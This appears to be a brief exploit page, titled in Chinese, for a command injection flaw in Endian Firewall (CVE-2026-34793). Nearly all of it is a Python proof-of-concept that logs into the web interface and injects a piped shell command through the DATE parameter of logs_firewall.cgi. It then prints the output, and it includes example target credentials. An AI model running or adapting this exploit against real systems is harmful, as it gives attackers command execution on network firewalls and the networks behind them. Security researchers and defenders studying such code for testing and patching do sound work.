CVE-2026-34793 Endian Firewall 命令注入漏洞

import requests def exploit_cve_2026_34793(target_ip, username, password): """ Exploit for CVE-2026-34793: Endian Firewall Command Injection. Requires authenticated session. """ session = requests.Session() login_url = f"http://{target_ip}/cgi-bin/index.cgi" target_url = f"http://{target_ip}/cgi-bin/logs_firewall.cgi" # 1. Authenticate to get session cookie login_data = { "username": username, "password": password } print(f"[*] Logging in as {username}...") login_resp = session.post(login_url, data=login_data) if login_resp.status_code != 200: print("[-] Login failed") return # 2. Send payload using pipe character to inject command via Perl open() # The DATE parameter is used in a Perl open() call without sufficient sanitization. # Appending ' | <command>' executes the command. payload = "2023-01-01 | /usr/bin/id" exploit_data = { "DATE": payload, "ACTION": "view" # Parameter might differ based on actual form structure } print(f"[*] Sending payload: {payload}") exploit_resp = session.post(target_url, data=exploit_data) # 3. Check output if exploit_resp.status_code == 200: print("[+] Request sent successfully. Check response for command output.") print(exploit_resp.text[0:500]) # Print snippet of response else: print("[-] Exploit request failed") if __name__ == "__main__": # Example usage exploit_cve_2026_34793("192.168.1.100", "admin", "admin")